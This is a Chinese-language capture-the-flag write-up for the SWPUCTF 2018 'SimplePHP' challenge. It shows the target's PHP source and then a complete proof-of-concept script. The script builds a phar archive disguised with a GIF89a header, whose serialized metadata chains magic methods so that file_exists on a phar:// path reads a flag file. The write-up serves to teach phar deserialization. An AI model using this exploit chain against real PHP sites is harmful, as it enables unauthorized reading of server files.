[SWPUCTF 2018]SimplePHP phar反序列化&魔术方法__get(参数),参数就是没有的那个变量&找准包含class.php的页面
首先先通过代码逻辑读取index.php的源码,然后根据include的代码和代码逻辑提供的几个页面,读取了几个文件的代码
class.php:
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
这里说明一下,class.php是被包含在file.php中的,所以上传phar文件后,对file.php传参
file.php:
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
突破口是file_exists()函数,刚开始做的时候被后面的show类干扰了,后来发现后面的代码是文件上传正常的代码逻辑,调用_show()方法检验上传的文件是否合理。
file_exists($file),$file传参写?$file=phar://poc.jpg 原来是poc.phar文件,后缀名怎么写都行
poc.php
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $a=new C1e4r(); $b=new Show(); $c=new Test(); $c->params['source']="/var/www/html/f1ag.php"; $b->str['str']=$c; $a->str=$b; $phar=new Phar("a.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER();?>");//前面的东西无所谓,后面必须是以<?php __HALT_COMPILER();?>结尾 $phar->setMetadata($a); $phar->addFromString("a.txt","aaa"); $phar->stopBuffering(); ?>
知识:
魔术方法__get($key)的参数就是本类没有的函数。